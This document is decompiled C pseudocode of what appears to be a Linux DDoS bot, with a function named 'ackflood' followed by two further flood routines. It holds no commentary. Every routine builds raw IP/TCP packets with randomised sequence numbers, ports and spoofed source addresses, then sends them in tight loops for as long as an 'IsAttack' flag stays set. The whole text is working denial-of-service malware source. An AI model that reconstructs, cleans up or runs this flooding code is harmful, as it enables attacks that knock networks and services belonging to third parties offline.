int ackflood(_Unknown_base* ThreadData)
{// addr = 0x0804AF06
    SYNPACKET SynObj;
    short int tcp_flags;
    char[19] szNewIP;
    char[255] szPackData;
    char[127] pheader;
    struct sockaddr_in servaddr;
    int hSockft;
    struct hostent* szhost;
    int nTime;
    int tcphdr_size;
    struct ip* iph;
    struct tcphdr* tcph;
    struct tcp_options* tcpopt;
    int one;
    const int* val;
    int looptime;
    int aa;
    int ShamBase;
    int dwNewIP;
    signed int _v12;
    signed int _v16;
    signed int _v20;
    signed int _v24;
    signed int _v28;
    _unknown_ _v30;
    signed int _v32;
    signed int _v36;
    char* _v40;
    unsigned int _v44;
    signed int _v48;
    signed char* _v52;
    unsigned int _v56;
    signed int _v58;
    unsigned int _v60;
    intOrPtr _v64;
    signed int _v68;
    signed short _v70;
    signed int _v72;
    signed int _v76;
    signed short _v78;
    intOrPtr _v80;
    signed int _v84;
    intOrPtr _v88;
    signed int _v92;
    signed int _v204;
    unsigned int _v216;
    unsigned int _v224;
    char _v228;
    char _v236;
    char _v240;
    char _v248;
    char _v260;
    char _v492;
    char _v504;
    char _v516;
    unsigned int _v609;
    unsigned short _v610;
    signed int _v611;
    signed int _v612;
    short unsigned int _v620;
    unsigned int _v621;
    unsigned short _v622;
    signed int _v623;
    signed int _v624;
    short unsigned int _v632;
    unsigned int _v633;
    unsigned short _v634;
    signed int _v635;
    signed int _v636;
    char _v640;
    short unsigned int _v644;
    char _v648;
    char _v652;
    signed int _v656;
    char _v660;
    char _v664;
    signed short _v668;
    signed short _v672;
    signed int _v676;
    signed short _v680;
    signed short _v684;
    signed int _v688;
    signed int _v692;
    signed int _v696;
    signed int _v700;
    intOrPtr _v760;
    signed int _v764;
    signed int _v766;
    char _v924;
    signed int _v1344;
    signed int _v1396;
    signed int _v1400;
    signed int _v1404;
    signed char _v1408;
    signed int _v1412;
    intOrPtr _v1480;
    signed int _v1484;
    signed int _v1486;
    intOrPtr _v1636;
    char _v1648;
    signed int _v2068;
    signed int _v2112;
    signed int _v2116;
    signed int _v2120;
    signed char _v2124;
    signed int _v2128;
    signed int _v2140;
    signed int _v2144;
    signed char _v2148;
    signed int _v2150;
    _unknown_ r6;
    _unknown_ _t694;
    unsigned int _t695;
    signed char* _t697;
    _unknown_ _t699;
    _unknown_ _t700;
    _unknown_ _t701;
    _unknown_ _t702;
    _unknown_ _t706;
    signed int _t707;
    intOrPtr _t709;
    _unknown_ _t711;
    _unknown_ _t712;
    _unknown_ _t713;
    _unknown_ _t714;
    _unknown_ _t718;
    signed int _t719;
    intOrPtr _t724;
    _unknown_ _t726;
    _unknown_ _t727;
    _unknown_ _t728;
    _unknown_ _t729;
    _unknown_ _t750;
    signed char _t769;
    short _t778;
    intOrPtr _t780;
    intOrPtr _t782;
    short _t791;
    signed int _t799;
    signed int _t800;
    _unknown_ _t802;
    intOrPtr _t810;
    signed int _t811;
    _unknown_ _t813;
    short _t822;
    signed int _t823;
    _unknown_ _t825;
    signed int _t834;
    _unknown_ _t836;
    _unknown_ _t841;
    signed char _t851;
    _unknown_ _t854;
    _unknown_ _t858;
    _unknown_ _t863;
    _unknown_ _t872;
    _unknown_ _t876;
    short unsigned int _t879;
    _unknown_ _t884;
    _unknown_ _t899;
    signed char _t918;
    short _t927;
    intOrPtr _t929;
    intOrPtr _t931;
    short _t940;
    signed int _t948;
    signed int _t949;
    _unknown_ _t951;
    intOrPtr _t959;
    signed int _t960;
    _unknown_ _t962;
    short _t971;
    signed int _t972;
    _unknown_ _t974;
    signed int _t983;
    _unknown_ _t985;
    _unknown_ _t990;
    signed char _t1000;
    _unknown_ _t1003;
    _unknown_ _t1007;
    _unknown_ _t1012;
    _unknown_ _t1021;
    _unknown_ _t1025;
    short unsigned int _t1028;
    signed int _t1031;
    _unknown_ _t1033;
    signed int _t1036;
    _unknown_ _t1052;
    char _t1071;
    short _t1080;
    intOrPtr _t1082;
    intOrPtr _t1084;
    short _t1093;
    signed int _t1101;
    signed int _t1102;
    _unknown_ _t1104;
    intOrPtr _t1112;
    signed int _t1113;
    _unknown_ _t1115;
    short _t1124;
    signed int _t1125;
    _unknown_ _t1127;
    signed int _t1136;
    _unknown_ _t1138;
    _unknown_ _t1143;
    char _t1153;
    _unknown_ _t1156;
    _unknown_ _t1160;
    _unknown_ _t1165;
    _unknown_ _t1174;
    _unknown_ _t1178;
    short unsigned int _t1181;
    signed int _t1196;
    signed int _t1216;
    signed int _t1217;
    signed int _t1218;
    signed int _t1224;
    signed int _t1225;
    signed int _t1226;
    signed int _t1230;
    signed int _t1234;
    signed int _t1235;
    signed int _t1236;
    signed int _t1268;
    _unknown_ _t1276;
    _unknown_ _t1284;
    _unknown_ _t1312;
    signed int _t1319;
    _unknown_ _t1356;
    _unknown_ _t1372;
    signed int* _t1373;
    signed int* _t1374;
    _unknown_ _t1375;

    _push(_t1196);
    __esp = __esp - 692;
    L0806F910( &_v216, 156);
    L0806F9E0(_t1365, __esi,  &_v216, ThreadData, 156);
    _v58 = 16;
    _v696 = 16;
    _t695 =  &_v636;
     *__esp = _t695;
    L0806F910();
    _v692 = 6;
    L08073680(_t1196, __esp, 2, 3);
    _v56 = _t695;
    _v636 = 2;
    _t697 =  &((char*)( &_v216)[4]);
    L08075250(_t697);
    _v52 = _t697;
    if(_v52 != 0) {
        _t1052 = L0806E4D0( &((char*)( &_v216)[4]), "0.0.0.0");
        if(_t1052 == 0) {
        } else {
            _v48 = 0;
            _v48 = _v204;
            if(_v48 <= 0 || _v48 > 86400) {
                _v48 = 20;
            }
            _v632 =  *( *(_v52[0x10]));
            _v44 = 20;
            _v40 =  &_v492;
            _v36 =  &_v492 + 20;
            _v32 =  &_v492 + 40;
             *_v40 =  *_v40 & 255 & 240 | 5;
             *_v40 =  *_v40 & 255 & 15 | 64;
            (_v40[1]) = 0;
            (_v40[2]) = 60;
             *__esp = 31337;
            _t1071 = L08075240(__esp);
            (_v40[4]) = _t1071;
            (_v40[6]) = 0;
            (_v40[8]) = 250;
            (_v40[9]) = 6;
            (_v40[0xa]) = 0;
            (_v40[0x10]) = _v632;
             *__esp = _v72 & 65535;
            _t1080 = L08075240(__esp);
             *((short*)(_v36 + 2)) = _t1080;
             *__esp = 31337;
            _t1082 = L08075230(__esp);
             *((intOrPtr*)(_v36 + 4)) = _t1082;
             *__esp = 0;
            _t1084 = L08075230(__esp);
             *((intOrPtr*)(_v36 + 8)) = _t1084;
             *(_v36 + 12) =  *(_v36 + 12) & 255 & 240;
             *(_v36 + 12) =  *(_v36 + 12) & 255 & 15 | 160;
             *(_v36 + 13) = _v58 & 65535;
             *__esp = 57344;
            _t1093 = L08075240(__esp);
             *((short*)(_v36 + 14)) = _t1093;
             *(_v36 + 16) = 0;
             *(_v36 + 18) = 0;
            if((_v44 & 3) != 0) {
                _v44 = (_v44 + (_v44 >> 31 >> 30) & 3) - (_v44 >> 31 >> 30) + 1 << 2;
            }
            _v44 = 40;
            _v640 = 1;
            _v28 =  &_v640;
            _v684 = 4;
            _v688 = _v28;
            _v692 = 3;
            _v696 = 0;
            _t1101 = _v56;
             *__esp = _t1101;
            L08073640(_t1196, __esp);
            if(_t1101 >= 0) {
            } else {
                _v24 = 0;
                while(1) {
                    _t1102 = IsAttack;
                    if(_t1102 == 0) {
                        break;
                    }
                    _v20 = 0;
                    while(_v20 <= 999) {
                        L0805EBE0();
                        _t1234 = _t1102;
                        _v668 = -2147450879;
                        _v660 = ((_v668 * _t1234 >> 32) + _t1234 >> 15) - (_t1234 >> 31);
                        _v660 = _t1234 - (_v660 << 16) - _v660;
                         *__esp = _v660;
                        _t1112 = L08075230(__esp);
                        _t1113 = _v36;
                         *((intOrPtr*)(_t1113 + 4)) = _t1112;
                        L0805EBE0();
                        _t1235 = _t1113;
                        _v668 = -2147450879;
                        _v656 = ((_v668 * _t1235 >> 32) + _t1235 >> 15) - (_t1235 >> 31);
                        _v656 = _t1235 - (_v656 << 16) - _v656;
                         *__esp = _v656 & 65535 & 65535;
                        _t1124 = L08075240(__esp);
                        _t1125 = _v36;
                         *((short*)(_t1125 + 14)) = _t1124;
                        L0805EBE0();
                        _t1236 = _t1125;
                        _v668 = -2147450879;
                        _t1196 = ((_v668 * _t1236 >> 32) + _t1236 >> 15) - (_t1236 >> 31);
                        _v652 = _t1196;
                        _v652 = _t1236 - (_v652 << 16) - _v652;
                         *_v36 = _v652 & 65535;
                        _t1136 = _v64 - _v68;
                        _v16 = _t1136;
                        if(_v16 <= 0) {
                            goto L20;
                        } else {
                            L0805EBE0();
                            _v12 = _t1136 % _v16 + _v68;
                            L0806F850(_t1196, _t1365, __esi,  &_v236, 0, 20);
                            _t1196 = _v12 >> 16 & 255;
                            _v680 = _v12 & 255;
                            _v684 = _v12 >> 8 & 255;
                            _v688 = _t1196;
                            L0805FF50( &_v236, "%d.%d.%d.%d", _v12 >> 24);
                            _t1153 = L08073B40( &_v236);
                            (_v40[0xc]) = _t1153;
                            L0806F850(_t1196, _t1365, __esi,  &_v620, 0, 128);
                            L0806F9E0(_t1365, __esi,  &_v620,  &(_v40[0xc]), 4);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[2]),  &(_v40[0x10]), 4);
                            _v612 = 0;
                            _v611 = (_v40[9]) & 255;
                            _v610 = _v44 >> 8;
                            _v609 = _v44;
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[6]), _v36, 20);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v620)[0x10]), _v32, 8);
                            _t1181 = csum( &_v620, _v44 + 12);
                             *(_v36 + 16) = _t1181;
                            _v680 = 16;
                            _v684 =  &_v636;
                            _v688 = 0;
                            _v692 = (_v40[2]) & 65535 & 65535;
                            _t1102 = L08052C20(__esi, _v56,  &_v492);
                            _v20 = _v20 + 1;
                            continue;
                        }
                        goto L20;
                    }
                }
            }
        }
    }
L20:
    L08052A50(_v56);
    _t700 = L08051050();
    L08051000(_t700);
     *__esp = 0;
    L08050FE0();
    goto L21;
L21:
    _push(_t1372);
    _t1373 = __esp;
    _push(_t1365);
    _push(__esi);
    _push(_t1196);
    __esp = __esp - 700;
    L0806F910( &_v924, 156);
    L0806F9E0(_t1365, __esi,  &_v924, _v696, 156);
    _v766 = 16;
    _v1412 = 16;
    _t707 =  &_v1344;
     *__esp = _t707;
    L0806F910();
    _v1408 = 6;
    L08073680(_t1196, __esp, 2, 3);
    _v764 = _t707;
    _v1344 = 2;
    _t709 =  &_v924 + 16;
    L08075250(_t709);
    _v760 = _t709;
    if(_v760 != 0) {
        _t899 = L0806E4D0( &_v228 + 16, "0.0.0.0");
        if(_t899 == 0) {
        } else {
            _v60 = 0;
            _v60 = _v216;
            if(_v60 <= 0 || _v60 > 86400) {
                _v60 = 20;
            }
            _v644 =  *( *( *(_v64 + 16)));
            _v56 = 20;
            _v52 =  &_v504;
            _v48 =  &_v504 + 20;
            _v44 =  &_v504 + 40;
             *_v52 =  *_v52 & 255 & 240 | 5;
             *_v52 =  *_v52 & 255 & 15 | 64;
            (_v52[1]) = 0;
            (_v52[2]) = 60;
             *__esp = 31337;
            _t918 = L08075240(__esp);
            (_v52[4]) = _t918;
            (_v52[6]) = 0;
            (_v52[8]) = 250;
            (_v52[9]) = 6;
            (_v52[0xa]) = 0;
            (_v52[0x10]) = _v644;
             *__esp = _v84 & 65535;
            _t927 = L08075240(__esp);
             *((short*)(_v48 + 2)) = _t927;
             *__esp = 31337;
            _t929 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 4)) = _t929;
             *__esp = 0;
            _t931 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 8)) = _t931;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
             *(_v48 + 13) = _v70 & 65535;
             *__esp = 57344;
            _t940 = L08075240(__esp);
             *((short*)(_v48 + 14)) = _t940;
             *((short*)(_v48 + 16)) = 0;
             *(_v48 + 18) = 0;
            if((_v56 & 3) != 0) {
                _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
            }
            _v56 = 40;
            _v652 = 1;
            _v40 =  &_v652;
            _v1400 = 4;
            _v1404 = _v40;
            _v1408 = 3;
            _v1412 = 0;
            _t948 = _v68;
             *__esp = _t948;
            L08073640(_t1196, __esp);
            if(_t948 >= 0) {
            } else {
                _v36 = 0;
                while(1) {
                    _t949 = IsAttack;
                    if(_t949 == 0) {
                        break;
                    }
                    _v32 = 0;
                    while(_v32 <= 999) {
                        L0805EBE0();
                        _t1224 = _t949;
                        _v684 = -2147450879;
                        _v676 = ((_v684 * _t1224 >> 32) + _t1224 >> 15) - (_t1224 >> 31);
                        _v676 = _t1224 - (_v676 << 16) - _v676;
                         *__esp = _v676;
                        _t959 = L08075230(__esp);
                        _t960 = _v48;
                         *((intOrPtr*)(_t960 + 4)) = _t959;
                        L0805EBE0();
                        _t1225 = _t960;
                        _v684 = -2147450879;
                        _v672 = ((_v684 * _t1225 >> 32) + _t1225 >> 15) - (_t1225 >> 31);
                        _v672 = _t1225 - (_v672 << 16) - _v672;
                         *__esp = _v672 & 65535 & 65535;
                        _t971 = L08075240(__esp);
                        _t972 = _v48;
                         *((short*)(_t972 + 14)) = _t971;
                        L0805EBE0();
                        _t1226 = _t972;
                        _v684 = -2147450879;
                        _t1196 = ((_v684 * _t1226 >> 32) + _t1226 >> 15) - (_t1226 >> 31);
                        _v668 = _t1196;
                        _t1365 = _t1226 - (_v668 << 16) - _v668;
                        _v668 = _t1226 - (_v668 << 16) - _v668;
                         *_v48 = _v668 & 65535;
                        _t983 = _v76 - _v80;
                        _v28 = _t983;
                        if(_v28 <= 0) {
                            goto L41;
                        } else {
                            L0805EBE0();
                            _v24 = _t983 % _v28 + _v80;
                            L0806F850(_t1196, _t1365, __esi,  &_v248, 0, 20);
                            _v1396 = _v24 & 255;
                            _v1400 = _v24 >> 8 & 255;
                            _v1404 = _v24 >> 16 & 255;
                            L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
                            _t1000 = L08073B40( &_v248);
                            (_v52[0xc]) = _t1000;
                            L0806F850(_v24 >> 16 & 255, _t1365, __esi,  &_v632, 0, 128);
                            L0806F9E0(_t1365, __esi,  &_v632,  &(_v52[0xc]), 4);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[2]),  &(_v52[0x10]), 4);
                            _v624 = 0;
                            _v623 = (_v52[9]) & 255;
                            _v622 = _v56 >> 8;
                            _v621 = _v56;
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[6]), _v48, 20);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v632)[0x10]), _v44, 8);
                            _t1028 = csum( &_v632, _v56 + 12);
                             *((short*)(_v48 + 16)) = _t1028;
                            _t1196 =  &_v648;
                            _t1031 = (_v52[2]) & 65535;
                            __esi = _t1031 & 65535;
                            L0805EBE0();
                            _t1230 = _t1031;
                            _v684 = -1600085855;
                            _t1319 = _v684 * _t1230 >> 32;
                            _t1036 = _t1230 >> 31;
                            _t1365 = (_t1319 + _t1230 >> 7) - _t1036;
                            _v664 = (_t1319 + _t1230 >> 7) - _t1036;
                            _v664 = _t1230 - _t1036 * _v664;
                            _v1396 = 16;
                            _v1400 = _t1196;
                            _v1404 = 0;
                            _v1408 = __esi + _v664 + 800;
                            _t949 = L08052C20(__esi, _v68,  &_v504);
                            _v32 = _v32 + 1;
                            continue;
                        }
                        goto L41;
                    }
                }
            }
        }
    }
L41:
    L08052A50(_v68);
    _t712 = L08051050();
    L08051000(_t712);
     *__esp = 0;
    L08050FE0();
    goto L42;
L42:
    _push(_t1373);
    _t1374 = __esp;
    _push(__esi);
    _push(_t1196);
    __esp = __esp - 704;
    L0806F910( &_v1648, 160);
    L0806F9E0(_t1365, __esi,  &_v1648, _v1412, 160);
    _v1486 = 16;
    _v2128 = 16;
    _t719 =  &_v2068;
     *__esp = _t719;
    L0806F910();
    _v2124 = 6;
    L08073680(_t1196, __esp, 2, 3);
    _v1484 = _t719;
    _v2068 = 2;
    _v1480 = _v1636;
    if(_v1480 <= 60 || _v72 > 800) {
        _v72 = 61;
    }
    _v68 = _v72 - 60;
    _t724 =  &_v240 + 20;
    L08075250(_t724);
    _v64 = _t724;
    if(_v64 != 0) {
        _t750 = L0806E4D0( &_v240 + 20, "0.0.0.0");
        if(_t750 == 0) {
        } else {
            _v60 = 0;
            _v60 = _v224;
            if(_v60 <= 0 || _v60 > 86400) {
                _v60 = 20;
            }
            _v656 =  *( *( *(_v64 + 16)));
            _v56 = 20;
            _v52 =  &_v516;
            _v48 =  &_v516 + 20;
            _v44 =  &_v516 + 40;
             *_v52 =  *_v52 & 255 & 240 | 5;
             *_v52 =  *_v52 & 255 & 15 | 64;
            (_v52[1]) = 0;
            (_v52[2]) = 60;
             *__esp = 31337;
            _t769 = L08075240(__esp);
            (_v52[4]) = _t769;
            (_v52[6]) = 0;
            (_v52[8]) = 250;
            (_v52[9]) = 6;
            (_v52[0xa]) = 0;
            (_v52[0x10]) = _v656;
             *__esp = _v92 & 65535;
            _t778 = L08075240(__esp);
             *((short*)(_v48 + 2)) = _t778;
             *__esp = 31337;
            _t780 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 4)) = _t780;
             *__esp = 0;
            _t782 = L08075230(__esp);
             *((intOrPtr*)(_v48 + 8)) = _t782;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 240;
             *(_v48 + 12) =  *(_v48 + 12) & 255 & 15 | 160;
             *(_v48 + 13) = _v78 & 65535;
             *__esp = 57344;
            _t791 = L08075240(__esp);
             *((short*)(_v48 + 14)) = _t791;
             *((short*)(_v48 + 16)) = 0;
             *(_v48 + 18) = 0;
            if((_v56 & 3) != 0) {
                _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
            }
            _v56 = 40;
            _v664 = 1;
            _v40 =  &_v664;
            _v2116 = 4;
            _v2120 = _v40;
            _v2124 = 3;
            _v2128 = 0;
            _t799 = _v76;
             *__esp = _t799;
            L08073640(_t1196, __esp);
            if(_t799 >= 0) {
            } else {
                _v36 = 0;
                while(1) {
                    _t800 = IsAttack;
                    if(_t800 == 0) {
                        break;
                    }
                    _v32 = 0;
                    while(_v32 <= 999) {
                        L0805EBE0();
                        _t1216 = _t800;
                        _v700 = -2147450879;
                        _v688 = ((_v700 * _t1216 >> 32) + _t1216 >> 15) - (_t1216 >> 31);
                        _v688 = _t1216 - (_v688 << 16) - _v688;
                         *__esp = _v688;
                        _t810 = L08075230(__esp);
                        _t811 = _v48;
                         *((intOrPtr*)(_t811 + 4)) = _t810;
                        L0805EBE0();
                        _t1217 = _t811;
                        _v700 = -2147450879;
                        _v684 = ((_v700 * _t1217 >> 32) + _t1217 >> 15) - (_t1217 >> 31);
                        _v684 = _t1217 - (_v684 << 16) - _v684;
                         *__esp = _v684 & 65535 & 65535;
                        _t822 = L08075240(__esp);
                        _t823 = _v48;
                         *((short*)(_t823 + 14)) = _t822;
                        L0805EBE0();
                        _t1218 = _t823;
                        _v700 = -2147450879;
                        _t1268 = _v700 * _t1218 >> 32;
                        _t1202 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
                        _v680 = (_t1268 + _t1218 >> 15) - (_t1218 >> 31);
                        _v680 = _t1218 - (_v680 << 16) - _v680;
                         *_v48 = _v680 & 65535;
                        _t834 = _v84 - _v88;
                        _v28 = _t834;
                        if(_v28 <= 0) {
                            goto L65;
                        } else {
                            L0805EBE0();
                            _v24 = _t834 % _v28 + _v88;
                            L0806F850(_t1202, _t1365, __esi,  &_v260, 0, 20);
                            _v2112 = _v24 & 255;
                            _v2116 = _v24 >> 8 & 255;
                            _v2120 = _v24 >> 16 & 255;
                            L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
                            _t851 = L08073B40( &_v260);
                            (_v52[0xc]) = _t851;
                            L0806F850(_v24 >> 16 & 255, _t1365, __esi,  &_v644, 0, 128);
                            L0806F9E0(_t1365, __esi,  &_v644,  &(_v52[0xc]), 4);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[2]),  &(_v52[0x10]), 4);
                            _v636 = 0;
                            _v635 = (_v52[9]) & 255;
                            _v634 = _v56 >> 8;
                            _v633 = _v56;
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[6]), _v48, 20);
                            L0806F9E0(_t1365, __esi,  &((char*)( &_v644)[0x10]), _v44, 8);
                            _t879 = csum( &_v644, _v56 + 12);
                             *(_v48 + 16) = _t879;
                            __esi =  &_v660;
                            L0805EBE0();
                            _v2112 = 16;
                            _v2116 = __esi;
                            _v2120 = 0;
                            _v2124 = ((_v52[2]) & 65535 & 65535) + ((_v52[2]) & 65535) % _v68;
                            _t800 = L08052C20(__esi, _v76,  &_v516);
                            _v32 = _v32 + 1;
                            continue;
                        }
                        goto L65;
                    }
                }
            }
        }
    }
L65:
    L08052A50(_v76);
    _t727 = L08051050();
    L08051000(_t727);
     *__esp = 0;
    L08050FE0();
    goto L66;
L66:
    _push(_t1374);
    __esp = __esp - 16;
    _v2148 = _v2124;
    _v2144 = _v2128;
    _v2140 = 0;
    _v2150 = 0;
    while(_v28 > 1) {
        _v20 = _v20 + ( *_v24 & 65535 & 65535);
        _v24 = _v24 + 2;
        _v28 = _v28 - 2;
    }
}